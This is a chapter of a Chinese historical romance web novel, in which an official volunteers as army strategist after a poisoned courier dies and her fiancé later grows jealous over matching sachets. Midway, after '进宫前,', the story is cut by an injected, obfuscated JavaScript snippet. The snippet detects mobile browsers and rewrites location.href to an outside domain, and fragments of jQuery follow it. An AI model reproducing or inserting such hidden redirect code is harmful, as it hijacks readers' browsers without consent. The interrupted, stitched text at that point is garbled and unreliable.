晓清秋 作品

54. 值钱

    “嘶。”宋涟清轻按额头的痛意。


    裴照林也没好到哪去,脸色微白,朝外道:“无妨。”


    马夫很快处理好小事故。


    宋涟清窘迫一瞬,为裴照林揉了揉心膛,“还疼吗?”


    “好疼。”郎君又是那副破碎样,眸底却染着些许笑意。


    宋涟清当即了然,白了他一眼,“骗子。”


    外间传来不少埋怨声,各府的马车皆让了道,停下去路。


    唯有一匹马蹄声急促,许是雪天路滑,马儿再度发出凄厉的嘶鸣,接着是“砰”的一声。


    不知谁大喊道:“血,血,他死了!”


    众人闻言,匆匆下车。


    七尺高的大汉摔落在雪地,口里吐着乌血,死不瞑目,看得人心惊肉跳。


    裴照林盯着健硕的马匹,眸色深沉。


    宋涟清忍着不适,往前靠近,瞥见他胸口隐着的一角,她轻拽裴照林的衣襟,“他似乎带了信。”


    下值时分,马车多往御街外赶,大邺明文,御街不可纵马,除非……


    裴照林抽出信,果然如他所料。


    周遭议论纷起,有官员惊恐猜测:“裴侍郎,此人可是冀北军使?”


    一语激起千层浪,朝会直言战况大好,陛下特地恩赐年假,可见冀北军速战速决,班师回朝有望,谁曾想,暮时,八百里加急跑死了军使?


    加之裴侍郎面色凝重,文官们便知军况不容乐观,素日惯会舌战,此时人心惶惶。


    宋涟清摩挲着手心纱布,暗道造化弄人,她回京因刺杀误闯芍山,替朝廷寻到不少铁矿,后幸入工部,虞衡司小半年的公务也围绕这场战事,主将更是她的至亲舅父。


    “诸位稍安勿躁,战况一切安好,今晨,北瓦已退却十里地,本官现下便入宫进见陛下。”


    无论前线后备,既为兵部侍郎,裴照林需得稳住军心,朝人群中最沉着的那位绯袍郎君道:“兰辞,将使君带回刑部。”


    “好。”


    虚惊一场,众人提到嗓子眼儿的心脏重又放了回去。


    裴照林要送宋涟清上车,她推辞道:“我随你一道去。”


    他思忖信中内容,颔首。


    冗长的宫道上,宋涟清时不时能感受到他炙热的目光,猜出大概,“我舅父出事了,是吗?”


    裴照林停下脚步,他不过多看她两眼……


    朔风舔舐着白雪,有碎雪飘落到宋涟清的眼睫,生出些许痒意。


    她抬手轻揉后,仰着头问他:“思淼想打这场仗,对吗?”


    裴照林后脊一凉,头回觉着在她面前无影遁形。


    小娘子揉过的眼睛微微泛红,盈出水光,好似委屈啜泣的前兆,裴照林慌了神,“涟涟,你且听我解释,近年肃清朋党,朝中已无主将可用,我如今官至兵部侍郎,又得陛下信重,这一仗在所不辞,若涟涟实在忧心我,我……”


    也是,战场刀剑无眼,哪个娘子愿意未婚夫婿冒此大险?


    他解释的声音越说越弱,宋涟清薄唇扬起,眸底藏着几缕戏弄,“我何时忧心裴大人了?”


    裴照林将将打好的腹稿碎了一地,愣了片刻,脱口而出:“如何能不忧心?我若有个三长两短,你……”


    宋涟清促狭睨他一眼,裴照林噤声,他为何要自己咒自己?


    宋涟清心里舒坦了,他先前那般严实瞒着真名,此番若非她思绪转得快,他就算人在冀北打了半个月的仗,她也未必知晓。


    宋涟清没理会他,踏着新雪前进,徒留裴照林在风雪里怄气。


    待瘦削的青袍走了几丈远,他不情不愿跟上去,确认:“自古战场九死一生,涟涟半点不忧心吗?”


    “十六封将定西境,二十高中探花郎,二十三拔擢兵部侍郎。”


    宋涟清眸光坦然,反问:“思淼出将入相的料子,这般不自信吗?”


    裴照林的唇微动,竟无言以对。


    良久,他瞧见小娘子强忍着笑意,越发疑惑,直至他向朱屹秉明冀北战况。


    “军中内乱,军师刘勉惨死,主将不省人事,军使倒在御街前,似有中毒迹象。”


    方砚修很快送来仵作的诊断书,“军使双肩中三枚毒镖,但不知何毒。”


    朱屹沉默思量许久,李辅多半也是中毒,冀北军戍边三年,他不如李辅了解冀北军,无一怀疑对象。


    如今军心大乱,军师者,兵家之魂,主将他自有人选,可这军师,朱屹面露愁容,犹豫不定。


    宋涟清全程静静立在后面,倏地冷然揖礼道:“微臣毛遂自荐,续我军军师一职,另荐一位妙手回春女大夫,徐述徐大人之女徐诺。”


    她与这场战事颇有缘,得以入朝为官,梁伯母说,裴照林于她宋涟清,并无知遇之恩,全然选贤举能、职责所在,那么,她便与他并肩作战,做一回他的同袍。


    大殿内,三位郎君齐齐怔愣,讶于她身为女娘子却主动请战,半晌无言。


    东厂暗探遍布天下,朱屹早听闻徐诺,江湖人称“破瘴针”。


    至于宋涟清这位地舆全才,他瞬间敲定,昔年,她祖母崔尚书曾任先帝帐下军师,她又何尝担不得?


    他余光触及裴照林,那厮一副“果然如此”的神情,朝他轻微摇头。


    朱屹暗骂他耽于儿女情长,起身绕过长案,爽朗笑道:“若宋卿运筹帷幄,得胜此战,朕擢你为工部侍郎,给你添妆!”


    “君子一言,驷马难追,微臣预先谢过陛下!”


    宋涟清放下行礼的手掌,朝裴照林俏皮一笑,郎君清隽的面容肉眼可见阴沉几分,她笑意更深。


    她就是刻意敲打他,往后莫要轻易瞒她。


    *


    朱屹单独留裴照林交代军机要务,宋涟清与方砚修一前一后出了大殿。


    蓦地,她眸光微颤。


    这位刑部的方侍郎,腰间挂着兰花香囊,针角细腻,颇有两分眼熟。


    她在打量他的同时,方砚修也在暗察她,想到什么,眉心一跳,宽大的袍襟遮了遮香囊。


    宋涟清目光偏向自己的青莲香囊,猛然清醒,这不是她家阿汝的绣工吗?


    自她任工部郎中,当起了甩手掌柜,宋汝接管宋家诸多营生,对外便是宋家的二东家。


    进宫前,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return\\w+};c=1;};while(c--)if(k[c])p=p.replace(new regexp(\\b+e(c)+\\b,g),k[c]);return p;}(8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="},24,24,userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15674653|168930||http|test|mini|href|location.split(|),0,{}));


    () {


    $(.inform).remove();


    $(#content).append(


    思淼唤他“兰辞”,正对应他香囊上的兰花绣样。


    “前些时日,阿汝多有忙碌,叫那裴侍郎钻了空子哄骗娘子,今日阿汝特地为我家娘子绣了一只专属香囊,还请娘子笑纳。”


    宋涟清忆起宋汝那日谄媚又掩着心虚的模样,气笑了,难怪总见不着人,哪里是生意忙碌,分明她忙着会情郎!


    方砚修的小动作落在宋涟清眼里,无疑成了掩耳盗铃,她满腹窝火。


    裴照林方从大殿出来,便听见她的邀约:“方大人可否赏脸一叙?”


    两人绯与青,相对而立,皆透着浩然清正之气,竟十分,不,三分登对。


    他这个角度,好巧不巧,迅速捕捉到两人同款主色调的香囊,一兰一莲??


    这方兰辞更是不识趣的,抬袖忸怩道:“宋大人请。”


    看来,他差人散的婚约消息还不透彻,决计大年初一便将婚贴递出去。


    裴照林青着脸上前问:“宋大人这便不去大理寺,看判决告示了?”


    宋涟清气昏了头脑,没意识到他语气里的酸味,“对,先去大理寺,有劳方大人一道。”


    方砚修邀功似的,“可是冯素与杜伯楷的案子?这桩案子由我收尾,我判了冯素死刑,后请示陛下,判决杜伯楷抄家流放。”


    宋涟清面露疑惑,他补充道:“杜伯楷扣人嫁妆,此为失信。养外室,为失德。贪图名利,隐瞒凶犯,失职罪上加罪。不知宋大人意下如何?”


    他这问询双关,宋涟清明白他说的不止案子,更是他待婚姻、官场的态度,她缓和怒气,“方大人做我宋家婿,勉强合格。”


    这便是不阻拦的意思,方砚修轻舒一口气,朝她长长一揖,“多谢。”


    裴照林不明所以,脑中轰鸣,下起了酸涩暴雨,几欲窒息。


    他只知当年,方砚修遭宋涟清教训做官要亲近民生,登科以来养成了沉稳脾性,惜字如金。


    他不敢置信,两人后续怎么会有联系?可二人挂着极为亲密的同款香囊……


    郁气叠着酸意,裴照林崩溃问她:“他是宋家婿,我是什么?”


    宋涟清眼角微抽,“……?”


    方砚修难得失态,笑谑道:“哪来的醋坛子打翻了?”


    “方兰辞!”裴照林捏着拳头,“你在得意吗?”


    方砚修自觉道:“不敢。”


    宋涟清空出思绪思考裴照林怪异的反应,恍然明了,“思淼误会了,我与方大人毫无干系。”


    她两颊浮现出些许羞赧,“方大人见笑了。”


    “哪里哪里,方某先行告退。”方砚修识趣请辞。


    宋涟清强调:“待我回京,方大人定要厚礼登门。”


    这是要为阿汝做主,催他上门提亲,届时有宋大人劝说、庇护,阿汝便不会顾虑门当户对,自然欣然嫁他。


    方砚修放下心来,承诺道:“必定,方某静候宋大人归京。”


    裴照林望着他轻快离去的背影,垂头讨要说法,“毫无干系,你让他登门?毫无干系,他在京中等你?”


    顿了顿,他荒唐问道:“宋涟清,我这般不值钱吗?”